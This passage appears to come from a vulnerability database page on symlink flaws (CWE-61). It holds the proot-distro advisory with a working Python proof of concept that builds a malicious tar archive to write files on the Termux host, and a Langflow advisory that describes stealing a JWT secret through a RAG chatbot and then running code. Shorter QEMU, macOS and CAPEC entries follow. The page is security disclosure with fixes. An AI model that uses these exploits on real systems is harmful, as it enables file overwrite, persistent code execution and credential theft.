    with open(dest, 'wb') as out:            # ← follows symlink above
        ...

The existing traversal guard only covers member names:

if any(p in ('..', '') for p in rel_parts):
    continue  # only checks the name, not the symlink target

There is no check on member.linkname. An absolute symlink target bypasses this guard entirely.

Check Member name (rel_path) Symlink target (member.linkname)
Reject .. components
Confirm stays inside rootfs_dir

Proof of Concept

Step 1 — Craft a malicious archive

# craft_evil_layer.py
import tarfile, io, hashlib

PAYLOAD = b"TERMUX_ESCAPE_SUCCESS\n"

buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w:gz') as tf:

    # Plant symlink: <rootfs>/escape → /data/data/com.termux/files/home
    sym = tarfile.TarInfo(name='escape')
    sym.type = tarfile.SYMTYPE
    sym.linkname = '/data/data/com.termux/files/home'
    tf.addfile(sym)

    # Write file through symlink: <rootfs>/escape/POC_SUCCESS → host ~/POC_SUCCESS
    reg = tarfile.TarInfo(name='escape/POC_SUCCESS')
    reg.size = len(PAYLOAD)
    tf.addfile(reg, io.BytesIO(PAYLOAD))

data = buf.getvalue()
with open('evil.tar.gz', 'wb') as f:
    f.write(data)

print("Created evil.tar.gz")
print("sha256:", hashlib.sha256(data).hexdigest())

Step 2 — Install the archive

$ python craft_evil_layer.py
Created evil.tar.gz
sha256: 6693f415b22b2b006654da1819e08bef8bb569b9e819c62e879e79c7c060ef57

$ proot-distro install ./evil.tar.gz
[*] Installing from 'evil.tar.gz' as 'evil'...
[*] Extracting rootfs from archive...
[*] Finished installation.

Step 3 — Verify proot-distro version

$ pkg show proot-distro | grep Version
WARNING: apt does not have a stable CLI interface. Use with caution in scripts.

Version: 5.0.2

Step 4 — Verify host write

$ cat ~/POC_SUCCESS
TERMUX_ESCAPE_SUCCESS

POC_SUCCESS was written directly into the host Termux $HOME during installation, with no container login required.


Impact

  • Arbitrary host file write at the full privilege of the Termux process, triggered solely by proot-distro install — no container interaction required.
  • A malicious .tar.gz / .tar.xz / .tgz archive delivered via a file download, CI artifact, or compromised mirror is sufficient to exploit this.
  • Practical payloads include overwriting ~/.bashrc, ~/.profile, $PREFIX/etc/bash.bashrc, or any file in the Termux home/prefix, achieving persistent code execution the next time the user opens a shell.
  • Also reachable via proot-distro reset if the malicious archive is reused, and via _apply_layer in helpers/docker.py.

Root Cause

_extract_plain_tar validates member names against .. traversal but places no restriction on symlink targets. The two vectors are treated asymmetrically:

Check Member name (rel_path) Symlink target (member.linkname)
Reject .. components
Confirm stays inside rootfs_dir

The member-name check (any(p in ('..', '') for p in rel_parts)) is necessary but not sufficient: a symlink with an absolute target bypasses it entirely.


Proposed Fix

Add a guard that rejects any symlink whose resolved target falls outside rootfs_dir. Apply in both _extract_plain_tar and _apply_layer:

def _is_safe_symlink(rootfs_dir: str, dest: str, linkname: str) -> bool:
    """Return True only if the symlink target resolves inside rootfs_dir."""
    if os.path.isabs(linkname):
        return False  # absolute targets always escape on the host
    resolved = os.path.normpath(os.path.join(os.path.dirname(dest), linkname))
    real_root = os.path.realpath(rootfs_dir)
    real_resolved = (os.path.realpath(resolved) if os.path.exists(resolved)
                     else os.path.normpath(resolved))
    return real_resolved.startswith(real_root + os.sep) or real_resolved == real_root

Then in _extract_plain_tar:

elif member.issym():
    if not _is_safe_symlink(rootfs_dir, dest, member.linkname):
        continue  # drop unsafe symlink
    if os.path.lexists(dest):
        ...
    os.symlink(member.linkname, dest)

Apply the identical guard inside _apply_layer in helpers/docker.py.

Note: A stricter alternative — matching Docker's own behavior — is to rewrite absolute symlink targets to relative paths within the rootfs rather than dropping them, to avoid breaking legitimate images that use absolute intra-rootfs symlinks such as /usr/lib → /lib.


Confirmed on proot-distro 5.0.2, Termux on Android/aarch64.
Maintainer: @sylirre — report via GitHub Security Advisory on the termux/proot-distro repository.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.1.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "proot-distro"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54574"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-61"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T16:32:34Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "**Repository:** `termux/proot-distro`  \n**Component:** `proot_distro/commands/install.py` \u2192 `_extract_plain_tar()`; also `helpers/docker.py` \u2192 `_apply_layer()`    \n\n---\n\n## Affected Versions\n\n| Component     | Version                      |\n|---------------|------------------------------|\n| proot-distro  | 5.0.2 (confirmed vulnerable) |\n| Termux app    | 0.119.0-beta.3               |\n| Device / ABI  | Samsung Galaxy A23 / aarch64 |\n| Python (host) | 3.13                         |\n\n---\n\n## Vulnerability Description\n\n`proot-distro install` extracts a plain tarball rootfs by calling `_extract_plain_tar()` in\n`proot_distro/commands/install.py`. This function correctly rejects tar member **names**\ncontaining `..` components, but applies **no equivalent check on symlink targets**\n(`member.linkname`). A tar archive can therefore:\n\n1. Plant a symlink inside the rootfs whose target is an **absolute host path**\n   (e.g. `/data/data/com.termux/files/home`).\n2. Write a subsequent regular-file member whose path traverses through that symlink name.\n\nPython\u0027s `open()` follows the symlink, writing the file **on the host filesystem** at the\nprivilege level of the Termux process \u2014 entirely during `proot-distro install`, before the\ncontainer is ever run.\n\nThe same `_extract_plain_tar` function is reachable via `proot-distro reset`, and the\nequivalent `_apply_layer` in `helpers/docker.py` contains the same flaw.\n\n---\n\n## Vulnerable Code\n\n**`proot_distro/commands/install.py`**, `_extract_plain_tar()`:\n\n```python\nelif member.issym():\n    # linkname taken verbatim from archive \u2014 no validation of target\n    os.symlink(member.linkname, dest)        # \u2190 symlink planted on host\n\nelif member.isreg():\n    dest = os.path.join(rootfs_dir, rel_path)\n    with open(dest, \u0027wb\u0027) as out:            # \u2190 follows symlink above\n        ...\n```\n\nThe existing traversal guard only covers member **names**:\n\n```python\nif any(p in (\u0027..\u0027, \u0027\u0027) for p in rel_parts):\n    continue  # only checks the name, not the symlink target\n```\n\nThere is **no check on `member.linkname`**. An absolute symlink target bypasses this guard\nentirely.\n\n| Check                              | Member name (`rel_path`) | Symlink target (`member.linkname`) |\n|------------------------------------|:------------------------:|:----------------------------------:|\n| Reject `..` components             | \u2705                        | \u274c                                  |\n| Confirm stays inside `rootfs_dir`  | \u274c                        | \u274c                                  |\n\n---\n\n## Proof of Concept\n\n### Step 1 \u2014 Craft a malicious archive\n\n```python\n# craft_evil_layer.py\nimport tarfile, io, hashlib\n\nPAYLOAD = b\"TERMUX_ESCAPE_SUCCESS\\n\"\n\nbuf = io.BytesIO()\nwith tarfile.open(fileobj=buf, mode=\u0027w:gz\u0027) as tf:\n\n    # Plant symlink: \u003crootfs\u003e/escape \u2192 /data/data/com.termux/files/home\n    sym = tarfile.TarInfo(name=\u0027escape\u0027)\n    sym.type = tarfile.SYMTYPE\n    sym.linkname = \u0027/data/data/com.termux/files/home\u0027\n    tf.addfile(sym)\n\n    # Write file through symlink: \u003crootfs\u003e/escape/POC_SUCCESS \u2192 host ~/POC_SUCCESS\n    reg = tarfile.TarInfo(name=\u0027escape/POC_SUCCESS\u0027)\n    reg.size = len(PAYLOAD)\n    tf.addfile(reg, io.BytesIO(PAYLOAD))\n\ndata = buf.getvalue()\nwith open(\u0027evil.tar.gz\u0027, \u0027wb\u0027) as f:\n    f.write(data)\n\nprint(\"Created evil.tar.gz\")\nprint(\"sha256:\", hashlib.sha256(data).hexdigest())\n```\n\n### Step 2 \u2014 Install the archive\n\n```\n$ python craft_evil_layer.py\nCreated evil.tar.gz\nsha256: 6693f415b22b2b006654da1819e08bef8bb569b9e819c62e879e79c7c060ef57\n\n$ proot-distro install ./evil.tar.gz\n[*] Installing from \u0027evil.tar.gz\u0027 as \u0027evil\u0027...\n[*] Extracting rootfs from archive...\n[*] Finished installation.\n```\n\n### Step 3 \u2014 Verify proot-distro version\n\n```\n$ pkg show proot-distro | grep Version\nWARNING: apt does not have a stable CLI interface. Use with caution in scripts.\n\nVersion: 5.0.2\n```\n\n### Step 4 \u2014 Verify host write\n\n```\n$ cat ~/POC_SUCCESS\nTERMUX_ESCAPE_SUCCESS\n```\n\n`POC_SUCCESS` was written directly into the host Termux `$HOME` during installation,\nwith no container login required.\n\n---\n\n## Impact\n\n- **Arbitrary host file write** at the full privilege of the Termux process, triggered solely\n  by `proot-distro install` \u2014 no container interaction required.\n- A malicious `.tar.gz` / `.tar.xz` / `.tgz` archive delivered via a file download, CI\n  artifact, or compromised mirror is sufficient to exploit this.\n- Practical payloads include overwriting `~/.bashrc`, `~/.profile`,\n  `$PREFIX/etc/bash.bashrc`, or any file in the Termux home/prefix, achieving **persistent\n  code execution** the next time the user opens a shell.\n- Also reachable via `proot-distro reset` if the malicious archive is reused, and via\n  `_apply_layer` in `helpers/docker.py`.\n\n---\n\n## Root Cause\n\n`_extract_plain_tar` validates member **names** against `..` traversal but places no\nrestriction on symlink **targets**. The two vectors are treated asymmetrically:\n\n| Check                              | Member name (`rel_path`) | Symlink target (`member.linkname`) |\n|------------------------------------|:------------------------:|:----------------------------------:|\n| Reject `..` components             | \u2705                        | \u274c                                  |\n| Confirm stays inside `rootfs_dir`  | \u274c                        | \u274c                                  |\n\nThe member-name check (`any(p in (\u0027..\u0027, \u0027\u0027) for p in rel_parts)`) is necessary but not\nsufficient: a symlink with an absolute target bypasses it entirely.\n\n---\n\n## Proposed Fix\n\nAdd a guard that rejects any symlink whose resolved target falls outside `rootfs_dir`.\nApply in both `_extract_plain_tar` and `_apply_layer`:\n\n```python\ndef _is_safe_symlink(rootfs_dir: str, dest: str, linkname: str) -\u003e bool:\n    \"\"\"Return True only if the symlink target resolves inside rootfs_dir.\"\"\"\n    if os.path.isabs(linkname):\n        return False  # absolute targets always escape on the host\n    resolved = os.path.normpath(os.path.join(os.path.dirname(dest), linkname))\n    real_root = os.path.realpath(rootfs_dir)\n    real_resolved = (os.path.realpath(resolved) if os.path.exists(resolved)\n                     else os.path.normpath(resolved))\n    return real_resolved.startswith(real_root + os.sep) or real_resolved == real_root\n```\n\nThen in `_extract_plain_tar`:\n\n```python\nelif member.issym():\n    if not _is_safe_symlink(rootfs_dir, dest, member.linkname):\n        continue  # drop unsafe symlink\n    if os.path.lexists(dest):\n        ...\n    os.symlink(member.linkname, dest)\n```\n\nApply the identical guard inside `_apply_layer` in `helpers/docker.py`.\n\n\u003e **Note:** A stricter alternative \u2014 matching Docker\u0027s own behavior \u2014 is to **rewrite**\n\u003e absolute symlink targets to relative paths within the rootfs rather than dropping them,\n\u003e to avoid breaking legitimate images that use absolute intra-rootfs symlinks such as\n\u003e `/usr/lib \u2192 /lib`.\n\n---\n\n*Confirmed on proot-distro 5.0.2, Termux on Android/aarch64.*  \n*Maintainer: @sylirre \u2014 report via GitHub Security Advisory on the `termux/proot-distro` repository.*",
  "id": "GHSA-9xq3-3fqg-4vg7",
  "modified": "2026-07-29T16:32:34Z",
  "published": "2026-07-29T16:32:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/termux/proot-distro/security/advisories/GHSA-9xq3-3fqg-4vg7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/termux/proot-distro/commit/a96d7a9667f38e45d812614852ee3915d1c0ae45"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/termux/proot-distro"
    },
    {
      "type": "WEB",
      "url": "https://github.com/termux/proot-distro/releases/tag/v5.1.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "`proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive"
}

GHSA-9XQQ-92HV-JJ34

Vulnerability from github – Published: 2026-07-20 15:32 – Updated: 2026-07-20 15:32
VLAI
Details

A flaw was found in the QEMU Guest Agent (qga). A local unprivileged user can exploit a vulnerability in the guest-ssh-add-authorized-keys command handler by manipulating symbolic links. This can occur either through a deterministic directory-symlink bypass or a Time-of-Check to Time-of-Use (TOCTOU) file-symlink race. Successful exploitation allows the attacker to gain ownership of arbitrary root-owned files or directories, leading to root access. This vulnerability requires an external management layer (e.g., libvirt) to trigger the affected code path.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-12080"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-61"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-20T13:16:55Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in the QEMU Guest Agent (qga). A local unprivileged user can exploit a vulnerability in the guest-ssh-add-authorized-keys command handler by manipulating symbolic links. This can occur either through a deterministic directory-symlink bypass or a Time-of-Check to Time-of-Use (TOCTOU) file-symlink race. Successful exploitation allows the attacker to gain ownership of arbitrary root-owned files or directories, leading to root access. This vulnerability requires an external management layer (e.g., libvirt) to trigger the affected code path.",
  "id": "GHSA-9xqq-92hv-jj34",
  "modified": "2026-07-20T15:32:04Z",
  "published": "2026-07-20T15:32:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12080"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-12080"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2499603"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/qemu-project/qemu/-/work_items/3929"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C9G9-8P38-4P39

Vulnerability from github – Published: 2024-03-08 03:31 – Updated: 2026-04-02 21:31
VLAI
Details

This issue was addressed with improved handling of symlinks. This issue is fixed in macOS Sonoma 14.4. An app may be able to create symlinks to protected regions of the disk.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-23285"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59",
      "CWE-61"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-08T02:15:49Z",
    "severity": "HIGH"
  },
  "details": "This issue was addressed with improved handling of symlinks. This issue is fixed in macOS Sonoma 14.4. An app may be able to create symlinks to protected regions of the disk.",
  "id": "GHSA-c9g9-8p38-4p39",
  "modified": "2026-04-02T21:31:38Z",
  "published": "2024-03-08T03:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23285"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/120895"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT214084"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT214084"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Mar/21"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CCV6-R384-XP75

Vulnerability from github – Published: 2026-06-19 21:18 – Updated: 2026-06-19 21:18
VLAI
Summary
Langflow: BaseFileComponent-based nodes arbitrary file read with RCE exploit
Details

Summary

All components based on BaseFileComponent are vulnerable to the following vulnerability: 1. Docling (DoclingInlineComponent) 2. Docling Serve (DoclingRemoteComponent) 3. Read File (FileComponent) 4. NVIDIA Retriever Extraction (NvidiaIngestComponent) 5. Video File (VideoFileComponent) 6. Unstructured API (UnstructuredComponent)

For clarity, from now on I'll only refer to Read File component.

The Read File node processes user-controlled files. Example scenario is a RAG chatbot - a system that allows users of an organization to ask questions about documents saved in the organizations.

By controlling a files that are digested into the RAG, an attacker can direct the node to read any file on the file-system by absolute path.

Using this vulnerability an attacker can acheive RCE: 1. Upload a file that directs the node to read Langflow's secret_key file containing the JWT token secret. 2. This would allow the attacker then to simply task the Chatbot for the JWT secret. 3. Using this secret, the attacker then crafts a JWT token for any user-id, bypassing authentication. 4. Code execution is then trivial - simply create a new flow with "Python Interpreter" node, fill it with arbitrary Python code and execute it.

Tested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe

Details

The vulnerability is in: langflow/src/lfx/src/lfx/base/data/base_file.py Specifically in _unpack_bundle. This function extracts tar files, which can contain a symlink. This symlink can point to any file in the filesystem. Then, in self.process_files(), the file pointed by the symlink will be parsed and saved into the RAG. This can be done with unlimited number of symlinks in the same tar which can also be useful in some scenarios.

Suggestd fix - iterate over the files and make sure all are regular files or directories.

PoC

Reproduction: 1. Create a flow with Read File (or any other affected components), and connect its output to some storage such as Chroma DB. 2. Create a symlink pointing to any file. For the above exploit, point the symlink to langflow's JWT token file. 3. Compress this symlink with tar. 4. Upload it to the Read File component. 5. Check the database, or ask a Chatbot connected to this vector database for the contents of the file.

Concrete PoC:

  • Flow with RAG ingestion and a Chatbot around it: Vector Store RAG.json
  • Exploit tar: archive.tar.txt (remove .txt, GitHub blocked .tar)
  • Create a file /tmp/trip.docx with any contents in it
  • Ingest the file in the flow above, and ask the Chatbot a question about this file.

A demo showing the attack: https://github.com/user-attachments/assets/af00f700-f13f-4eac-848e-8afd11fb9297 In the demo the attacker steals Langflow secret key used to sign JWTs. The second stage of the attack, not shown in the demo, is using this key to sign a JWT token and executing Python code on the server using the Python code interpreter node.

Impact

Any Langflow user using any of the above mentioned components to ingest user-controlled data is affected. Depending on exact scenario, the user can also be exposed to an RCE risk.

Patches

Fixed in 1.9.2 via PR #12945. BaseFileComponent._unpack_bundle now rejects symlink and hardlink members (and any non-regular entries) during TAR extraction, with additional defensive symlink filtering during directory recursion and after extraction. Upgrade to 1.9.2 or later.

Ori Lahav Security Researcher @ Rubrik Inc.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55447"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-61"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:18:24Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nAll components based on `BaseFileComponent` are vulnerable to the following vulnerability:\n1. Docling (`DoclingInlineComponent`)\n2. Docling Serve (`DoclingRemoteComponent`)\n3. Read File (`FileComponent`)\n4. NVIDIA Retriever Extraction (`NvidiaIngestComponent`)\n5. Video File (`VideoFileComponent`)\n6. Unstructured API (`UnstructuredComponent`)\n\nFor clarity, from now on I\u0027ll only refer to Read File component.\n\nThe Read File node processes user-controlled files.\nExample scenario is a RAG chatbot - a system that allows users of an organization to ask questions about documents saved in the organizations.\n\nBy controlling a files that are digested into the RAG, an attacker can direct the node to read *any* file on the file-system by absolute path.\n\nUsing this vulnerability an attacker can acheive RCE:\n1. Upload a file that directs the node to read Langflow\u0027s `secret_key` file containing the JWT token secret.\n2. This would allow the attacker then to simply task the Chatbot for the JWT secret.\n3. Using this secret, the attacker then crafts a JWT token for any user-id, bypassing authentication.\n4. Code execution is then trivial - simply create a new flow with \"Python Interpreter\" node, fill it with arbitrary Python code and execute it.\n\nTested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe\n\n### Details\nThe vulnerability is in:\n`langflow/src/lfx/src/lfx/base/data/base_file.py`\nSpecifically in `_unpack_bundle`. This function extracts tar files, which can contain a symlink.\nThis symlink can point to any file in the filesystem. Then, in `self.process_files()`, the file pointed by the symlink will be parsed and saved into the RAG.\nThis can be done with unlimited number of symlinks in the same tar which can also be useful in some scenarios.\n\nSuggestd fix - iterate over the files and make sure all are regular files or directories.\n\n\n### PoC\nReproduction:\n1. Create a flow with Read File (or any other affected components), and connect its output to some storage such as Chroma DB.\n2. Create a symlink pointing to any file. For the above exploit, point the symlink to langflow\u0027s JWT token file.\n3. Compress this symlink with tar.\n4. Upload it to the Read File component.\n5. Check the database, or ask a Chatbot connected to this vector database for the contents of the file.\n\n\nConcrete PoC:\n------------\n\n- Flow with RAG ingestion and a Chatbot around it: [Vector Store RAG.json](https://github.com/user-attachments/files/25159960/Vector.Store.RAG.json)\n- Exploit tar: [archive.tar.txt](https://github.com/user-attachments/files/25159954/archive.tar.txt) (remove .txt, GitHub blocked .tar)\n- Create a file `/tmp/trip.docx` with any contents in it\n- Ingest the file in the flow above, and ask the Chatbot a question about this file.\n\nA demo showing the attack:\nhttps://github.com/user-attachments/assets/af00f700-f13f-4eac-848e-8afd11fb9297\nIn the demo the attacker steals `Langflow` secret key used to sign JWTs. The second stage of the attack, not shown in the demo, is using this key to sign a JWT token and executing Python code on the server using the Python code interpreter node.\n\n### Impact\nAny Langflow user using any of the above mentioned components to ingest user-controlled data is affected. Depending on exact scenario, the user can also be exposed to an RCE risk.\n\n\n### Patches\nFixed in **1.9.2** via PR [#12945](https://github.com/langflow-ai/langflow/pull/12945). `BaseFileComponent._unpack_bundle` now rejects symlink and hardlink members (and any non-regular entries) during TAR extraction, with additional defensive symlink filtering during directory recursion and after extraction. Upgrade to **1.9.2 or later**.\n\n\nOri Lahav\nSecurity Researcher @ Rubrik Inc.",
  "id": "GHSA-ccv6-r384-xp75",
  "modified": "2026-06-19T21:18:24Z",
  "published": "2026-06-19T21:18:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-ccv6-r384-xp75"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/pull/12945"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langflow-ai/langflow"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Langflow: BaseFileComponent-based nodes arbitrary file read with RCE exploit"
}

Mitigation
Implementation

Symbolic link attacks often occur when a program creates a tmp directory that stores files/links. Access to the directory should be restricted to the program as to prevent attackers from manipulating the files.

Mitigation MIT-48.1
Architecture and Design

Strategy: Separation of Privilege

  • Follow the principle of least privilege when assigning access rights to entities in a software system.
  • Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CAPEC-27: Leveraging Race Conditions via Symbolic Links

This attack leverages the use of symbolic links (Symlinks) in order to write to sensitive files. An attacker can create a Symlink link to a target file not otherwise accessible to them. When the privileged program tries to create a temporary file with the same name as the Symlink link, it will actually write to the target file pointed to by the attackers' Symlink link. If the attacker can insert malicious content in the temporary file they will be writing to the sensitive file by using the Symlink. The race occurs because the system checks if the temporary file exists, then creates the file. The attacker would typically create the Symlink during the interval between the check and the creation of the temporary file.